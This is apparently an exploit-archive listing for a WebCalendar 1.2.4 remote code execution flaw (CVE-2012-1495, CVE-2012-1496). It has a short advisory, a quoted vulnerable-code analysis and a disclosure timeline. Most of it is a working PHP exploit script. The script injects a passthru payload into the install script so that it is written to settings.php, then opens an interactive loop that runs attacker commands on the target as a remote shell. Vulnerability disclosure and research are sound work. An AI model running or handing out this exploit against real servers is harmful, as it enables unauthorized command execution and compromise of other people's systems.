what you don't know can hurt you

WebCalendar 1.2.4 Remote Code Execution

WebCalendar 1.2.4 Remote Code Execution
Posted Apr 30, 2012
Authored by EgiX

WebCalendar versions 1.2.4 and below suffer from a remote code execution vulnerability.

tags | exploit, remote, code execution
advisories | CVE-2012-1495, CVE-2012-1496
MD5 | 5f262ed03724a9203109c2bb48d3886f

WebCalendar 1.2.4 Remote Code Execution

Change Mirror Download
<?php

/*
-----------------------------------------------------------------------
WebCalendar <= 1.2.4 (install/index.php) Remote Code Executionn Exploit
-----------------------------------------------------------------------

author..........: Egidio Romano aka EgiX
mail............: n0b0d13s[at]gmail[dot]com
software link...: https://sourceforge.net/projects/webcalendar/

+-------------------------------------------------------------------------+
| This proof of concept code was written for educational purpose only. |
| Use it at your own risk. Author will be not responsible for any damage. |
+-------------------------------------------------------------------------+

[-] vulnerable code in /install/index.php (CVE-2012-1495)

674. $y = getPostValue ( 'app_settings' );
675. if ( ! empty ( $y ) ) {
676. $settings['single_user_login'] = getPostValue ( 'form_single_user_login' );
677. $settings['readonly'] = getPostValue ( 'form_readonly' );
...
724. // Save settings to file now.
725. if ( ! empty ( $x ) || ! empty ( $y ) ){
726. $fd = @fopen ( $file, 'w+b', false );
727. if ( empty ( $fd ) ) {
728. if ( @file_exists ( $file ) ) {
729. $onloadDetailStr =
730. translate ( 'Please change the file permissions of this file', true );
731. } else {
732. $onloadDetailStr =
733. translate ( 'Please change includes dir permission', true );
734. }
735. $onload = "alert('" . $errorFileWriteStr . $file. "\\n" .
736. $onloadDetailStr . ".');";
737. } else {
738. if ( function_exists ( "date_default_timezone_set" ) )
739. date_default_timezone_set ( "America/New_York");
740. fwrite ( $fd, "<?php\r\n" );
741. fwrite ( $fd, '/* updated via install/index.php on ' . date ( 'r' ) . "\r\n" );
742. foreach ( $settings as $k => $v ) {
743. if ( $v != '<br />' && $v != '' )
744. fwrite ( $fd, $k . ': ' . $v . "\r\n" );
745. }

Restricted access to this script isn't properly realized, so an attacker might be able
to update /includes/settings.php with arbitrary values or inject PHP code into it.

[-] vulnerable code to LFI in /pref.php (CVE-2012-1496)

70. if ( ! empty ( $_POST ) && empty ( $error )) {
71. $my_theme = '';
72. $currenttab = getPostValue ( 'currenttab' );
73. save_pref ( $_POST, 'post' );
74.
75. if ( ! empty ( $my_theme ) ) {
76. $theme = 'themes/'. $my_theme . '_pref.php';
77. include_once $theme;
78. save_pref ( $webcal_theme, 'theme' );
79. }

Input passed through $_POST['pref_THEME'] isn't properly sanitized before being assigned
to $my_theme variable, this can be exploited to include arbitrary local files at line 77.
Exploitation of this vulnerability requires authentication and magic_quotes_gpc = off.

[-] Disclosure timeline:

[02/10/2011] - Vulnerabilities discovered
[04/10/2011] - Vendor notified to http://sourceforge.net/support/tracker.php?aid=3418570
[20/02/2012] - First vendor response
[28/02/2012] - Vendor fix committed to CVS
[29/02/2012] - Version 1.2.5 released
[02/03/2012] - CVE numbers requested
[02/03/2012] - Assigned CVE-2012-1495 and CVE-2012-1496
[23/04/2012] - Public disclosure

*/

error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);

function http_send($host, $packet)
{
if (!($sock = fsockopen($host, 80))) die( "\n[-] No response from {$host}:80\n");
fwrite($sock, $packet);
return stream_get_contents($sock);
}

print "\n+-------------------------------------------------------------+";
print "\n| WebCalendar <= 1.2.4 Remote Code Executionn Exploit by EgiX |";
print "\n+-------------------------------------------------------------+\n";

if ($argc < 3)
{
print "\nUsage......: php $argv[0] <host> <path>\n";
print "\nExample....: php $argv[0] localhost /";
print "\nExample....: php $argv[0] localhost /webcalendar/\n";
die();
}

list($host, $path) = array($argv[1], $argv[2]);

$phpcode = "*/print(____);passthru(base64_decode(\$_SERVER[HTTP_CMD]));die;";
$payload = "app_settings=1&form_user_inc=user.php&form_single_user_login={$phpcode}";

$packet = "POST {$path}install/index.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "Connection: close\r\n\r\n{$payload}";

http_send($host, $packet);

$packet = "GET {$path}includes/settings.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cmd: %s\r\n";
$packet .= "Connection: close\r\n\r\n";

while(1)
{
print "\nwebcalendar-shell# ";
if (($cmd = trim(fgets(STDIN))) == "exit") break;
$response = http_send($host, sprintf($packet, base64_encode($cmd)));
preg_match('/____(.*)/s', $response, $m) ? print $m[1] : die("\n[-] Exploit failed!\n");
}

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